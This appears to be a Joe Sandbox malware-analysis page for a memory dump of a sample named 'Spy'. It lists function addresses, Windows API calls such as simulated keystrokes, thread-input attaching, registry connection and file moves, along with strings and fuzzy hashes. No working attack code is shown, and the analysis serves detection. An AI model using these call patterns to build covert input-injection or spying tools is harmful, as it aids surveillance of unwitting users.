Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: d06c0561eda8701d820fb30043e420eeea572904e7689145943900ff2cef0e9a
Instruction ID: 58ada71db408987c1d74797496b2e85620f89e8c3e5f0f1ee8f1cf0ffba1eebd
Opcode Fuzzy Hash: d06c0561eda8701d820fb30043e420eeea572904e7689145943900ff2cef0e9a
Instruction Fuzzy Hash: EA516974610209AFDB20EF25CD55FBA7BB9FB58720F104528F942D7290DBB0ADA0DB50

Function 00ADA226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADB52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00ADB54D
Part of subcall function 00ADB52D: GetCurrentThreadId.KERNEL32 ref: 00ADB554
Part of subcall function 00ADB52D: AttachThreadInput.USER32(00000000,?,00ADA23B,?,00000001), ref: 00ADB55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 00ADA246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00ADA263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00ADA266
MapVirtualKeyW.USER32(00000025,00000000), ref: 00ADA26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00ADA28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00ADA290
MapVirtualKeyW.USER32(00000025,00000000), ref: 00ADA299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00ADA2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00ADA2B3

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 690a08fb50f7bcbdcab9f1e7a55296501c1deeae27f41284074409d41dec15f7
Instruction ID: 08b532ea57f0d8a698d811d3734d2de27cde7e310e6cd4b1c9975ff6f53cb84a
Opcode Fuzzy Hash: 690a08fb50f7bcbdcab9f1e7a55296501c1deeae27f41284074409d41dec15f7
Instruction Fuzzy Hash: 0211E5B1560218BEF6106F619C49FAA3B2DEB4C750F514416F3416B1D0CEF35CA09AB0

Function 00AD94D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00AD915A,00000B00,?,?), ref: 00AD94E2
HeapAlloc.KERNEL32(00000000,?,00AD915A,00000B00,?,?), ref: 00AD94E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00AD915A,00000B00,?,?), ref: 00AD94FE
GetCurrentProcess.KERNEL32(?,00000000,?,00AD915A,00000B00,?,?), ref: 00AD9506
DuplicateHandle.KERNEL32(00000000,?,00AD915A,00000B00,?,?), ref: 00AD9509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00AD915A,00000B00,?,?), ref: 00AD9519
GetCurrentProcess.KERNEL32(00AD915A,00000000,?,00AD915A,00000B00,?,?), ref: 00AD9521
DuplicateHandle.KERNEL32(00000000,?,00AD915A,00000B00,?,?), ref: 00AD9524
CreateThread.KERNEL32(00000000,00000000,00AD954A,00000000,00000000,00000000), ref: 00AD953E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: b78b08f7e164e246164e6d6c7fcfce47170e74939587621da82640b5106aacfe
Instruction ID: d456d717ab0480b24aa64196a63620ab91005d3844a10b90fcebc4ee7ce179a4
Opcode Fuzzy Hash: b78b08f7e164e246164e6d6c7fcfce47170e74939587621da82640b5106aacfe
Instruction Fuzzy Hash: 4D01C2B5250304BFE710AF65DC4DFA77B6CEB89711F408411FA05DB191CEB59854CB60

Function 00AFA20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00AFA28E, 00AFA5B2
Not an Object type, xrefs: 00AFA265

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 0671ddde40db582e70fc76bd7fc14e592c7f490dad2f1ebbecad7dc2e973ca5c
Instruction ID: 634605a488adac29df9a6cfa4bb66736dff66e0a4b3bd08137e597dcacb0260d
Opcode Fuzzy Hash: 0671ddde40db582e70fc76bd7fc14e592c7f490dad2f1ebbecad7dc2e973ca5c
Instruction Fuzzy Hash: 7DC190B1A0021E9FDF10DF98C884AFEB7F5BB58350F148569FA09AB280E770AD45CB51

Function 00AF97FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AF9851
VariantInit.OLEAUT32(?), ref: 00AF9922
VariantInit.OLEAUT32(?), ref: 00AF9A23
VariantClear.OLEAUT32(?), ref: 00AF9A2D
VariantClear.OLEAUT32(?), ref: 00AF9A8A

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00AF9A06
Null Object assignment in FOR..IN loop, xrefs: 00AF98B2, 00AF99E0, 00AF9A98

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 21390e3c69688222603d9723b87a70a5c1fbae96eca3c7b563d0fcc617b4f312
Instruction ID: 2a3bfe6b14dace3bce451bd912604f5ce61b25a3ea672288652ff615b7a62bd6
Opcode Fuzzy Hash: 21390e3c69688222603d9723b87a70a5c1fbae96eca3c7b563d0fcc617b4f312
Instruction Fuzzy Hash: C391AC31A00219ABDF24DFA5C884FAFBBB8EF85750F10855DF615AB290DB709945CFA0

Function 00B073A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00B07449
SendMessageW.USER32(?,00001036,00000000,?), ref: 00B0745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00B07477
_wcscat.LIBCMT ref: 00B074D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 00B074E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00B07517

Strings

SysListView32, xrefs: 00B0741B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 89a5db65e923cd1b715dfb8aacfa14c0414939bbc86f821612e6d3c81b69fd8f
Instruction ID: 2a5752e40e3a375cd9656a09592df6612962578673488ea59cc66b76a78bd75c
Opcode Fuzzy Hash: 89a5db65e923cd1b715dfb8aacfa14c0414939bbc86f821612e6d3c81b69fd8f
Instruction Fuzzy Hash: BC418471944348AFEB219F64CC85BEEBBE8EF08350F10446AF945A72D1DB71AD84CB50

Function 00AE34DD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00AE357C

Strings

question, xrefs: 00AE3535
blank, xrefs: 00AE34FE
info, xrefs: 00AE351D
warning, xrefs: 00AE3565
stop, xrefs: 00AE354D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 6c9fc1abf218faf4cd2d1aac0b00ca5464b48f8054779ae154a0aa9662311bdd
Instruction ID: f7c4e2fd1aa69250ed085d11a0a2e951c707f667be0367bef04f72761a4595d6
Opcode Fuzzy Hash: 6c9fc1abf218faf4cd2d1aac0b00ca5464b48f8054779ae154a0aa9662311bdd
Instruction Fuzzy Hash: 4B11E773648786BEAF005B56DC96CAA77ECDF06760F20046AFA00A73C1E7A46F4056B0

Function 00AE47E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00AE4802
LoadStringW.USER32(00000000), ref: 00AE4809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00AE481F
LoadStringW.USER32(00000000), ref: 00AE4826
_wprintf.LIBCMT ref: 00AE484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00AE486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00AE4847

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 91d75ab74b27f6dff3814e9af40e5b1f4da573ec480bed941b8481197d9fc558
Instruction ID: 62f393965025b3bd26939ad8c7908ccfc71a3fae6e147a3947150712403a0726
Opcode Fuzzy Hash: 91d75ab74b27f6dff3814e9af40e5b1f4da573ec480bed941b8481197d9fc558
Instruction Fuzzy Hash: CB0162F29102487FE711ABA49D89EF6737CEB08301F804595B749E3041EEB49ED44B75

Function 00B0DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

GetSystemMetrics.USER32(0000000F), ref: 00B0DB42
GetSystemMetrics.USER32(0000000F), ref: 00B0DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00B0DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00B0DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00B0DDDC
ShowWindow.USER32(00000003,00000000), ref: 00B0DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 00B0DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 00B0DE43

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: c5fcf92fa0b62be7b45513c7dc9c20860bdb5db7158ea4cd716632fea54b0bd4
Instruction ID: 11abe4f4336f659226568049e7d6364c9905a41e4a96e80e1878c5dd31315c58
Opcode Fuzzy Hash: c5fcf92fa0b62be7b45513c7dc9c20860bdb5db7158ea4cd716632fea54b0bd4
Instruction Fuzzy Hash: 59B15731600215ABDF14CFA9C9C57A97BF1FF44711F0881A9EC489F2D5DB75A990CB90

Function 00B00371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00B0147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B0040D,?,?), ref: 00B01491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B0044E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: eeca22fb75758fa5bf3075cec5eb761019f1703ed4973df6bd6a74daa77f2526
Instruction ID: 496e6432a89ac6b0507727335a6706db3aac23b0aa4a2ea9a26bb2e0b3c77c7d
Opcode Fuzzy Hash: eeca22fb75758fa5bf3075cec5eb761019f1703ed4973df6bd6a74daa77f2526
Instruction Fuzzy Hash: DAA18A30208201DFCB15EF64C885B6EBBE5EF88314F14895DF9969B2A2DB31E945CF42

Function 00AE527C Relevance: 12.2, APIs: 8, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE4BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00AE3B8A,?), ref: 00AE4BE0

Part of subcall function 00AE4BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00AE3B8A,?), ref: 00AE4BF9

Part of subcall function 00AE4FEC: GetFileAttributesW.KERNEL32(?,00AE3BFE), ref: 00AE4FED

lstrcmpiW.KERNEL32(?,?), ref: 00AE52FB
_wcscmp.LIBCMT ref: 00AE5315
MoveFileW.KERNEL32(?,?), ref: 00AE5330

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: db94134c6f2979e76a1f3f4b333ca3190144b83ebf3f8186c0f914f30dadd11f
Instruction ID: 0f8ceed797422cda88fcb1f5d197956fbc519d2da0b63cc4228659406911557c
Opcode Fuzzy Hash: db94134c6f2979e76a1f3f4b333ca3190144b83ebf3f8186c0f914f30dadd11f
Instruction Fuzzy Hash: C55185B24083859BC724EBA5D9819DFB3EC9F85340F50491EF289C7192EF74E688C756

Function 00A82E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00ABC508,00000004,00000000,00000000,00000000), ref: 00A82E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00ABC508,00000004,00000000,00000000,00000000,000000FF), ref: 00A82EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00ABC508,00000004,00000000,00000000,00000000), ref: 00ABC55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00ABC508,00000004,00000000,00000000,00000000), ref: 00ABC5C7

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 0c8633cd75e6db4fba437664f5a3ee0f33addd9f08850413a662b3057ce02c18
Instruction ID: 65ac86f134413c2a040586d33fc693631744a20c25408288b90fb1484eb254d1
Opcode Fuzzy Hash: 0c8633cd75e6db4fba437664f5a3ee0f33addd9f08850413a662b3057ce02c18
Instruction Fuzzy Hash: AA412970618680AEDB35BB28CC88BBA7FE6BF91310F64891DE447575A1CB71B980DB14

Function 00AE7681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00AE7698

Part of subcall function 00AA0FE6: std::exception::exception.LIBCMT ref: 00AA101C
Part of subcall function 00AA0FE6: __CxxThrowException@8.LIBCMT ref: 00AA1031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00AE76CF
EnterCriticalSection.KERNEL32(?), ref: 00AE76EB
_memmove.LIBCMT ref: 00AE7739
_memmove.LIBCMT ref: 00AE7756
LeaveCriticalSection.KERNEL32(?), ref: 00AE7765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00AE777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00AE7799

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 7c2a62df2035efb46fcbfbec0c8b7a0117a70d965d64506763429f07c092ec44
Instruction ID: 3bf67c0d34d6f6479d4db5ce4b55592956af568e5cf00c41f9fef05cc2165737
Opcode Fuzzy Hash: 7c2a62df2035efb46fcbfbec0c8b7a0117a70d965d64506763429f07c092ec44
Instruction Fuzzy Hash: B2317031904109EBDB10EF55DD85EAEB7B8EF45310F1480A5FD04AB296DB709A50DBA0

Function 00B067F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00B06810
GetDC.USER32(00000000), ref: 00B06818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B06823
ReleaseDC.USER32(00000000,00000000), ref: 00B0682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00B0686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00B0687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00B0964F,?,?,000000FF,00000000,?,000000FF,?), ref: 00B068B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00B068D6

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 95e64ef3e6d13a8adea04e6fe76b17d24e84fbed7e78438bdcb79920428f4df2
Instruction ID: e5159c08e437ece4382a43e98e89b1cb483fecbe86cf945c7649b11870b0d12f
Opcode Fuzzy Hash: 95e64ef3e6d13a8adea04e6fe76b17d24e84fbed7e78438bdcb79920428f4df2
Instruction Fuzzy Hash: 9D316D72111214BFEB119F50DC4AFEA3FADEB49761F048055FE089A291DAB59C91CB70

Function 00ADC748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00ADC75D
_memcmp.LIBCMT ref: 00ADC77F
_memcmp.LIBCMT ref: 00ADC797
_memcmp.LIBCMT ref: 00ADC7AA
_memcmp.LIBCMT ref: 00ADC7C4
_memcmp.LIBCMT ref: 00ADC7D7
_memcmp.LIBCMT ref: 00ADC7EF
_memcmp.LIBCMT ref: 00ADC80A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: b3a1438c5efa031ca217f2d57e6f4286070f8be7144a735a27f04a009277b87d
Instruction ID: 957bb56d10170c1cac9a48ee0cd38c1672726e4e3e55eb0c6012eb78222b62e6
Opcode Fuzzy Hash: b3a1438c5efa031ca217f2d57e6f4286070f8be7144a735a27f04a009277b87d
Instruction Fuzzy Hash: 0F219572A452077ADA0476119E82FEF37AC9E25BA4F844026FD07E7382F710DE11CAE1

Function 00AEF166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

Part of subcall function 00A9436A: _wcscpy.LIBCMT ref: 00A9438D

_wcstok.LIBCMT ref: 00AEF2D7
_wcscpy.LIBCMT ref: 00AEF366
_memset.LIBCMT ref: 00AEF399

Strings

X, xrefs: 00AEF3D6

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 644a7855fd8e927694ab25af6000970ac039a2bffd9b1e90327413d77330c668
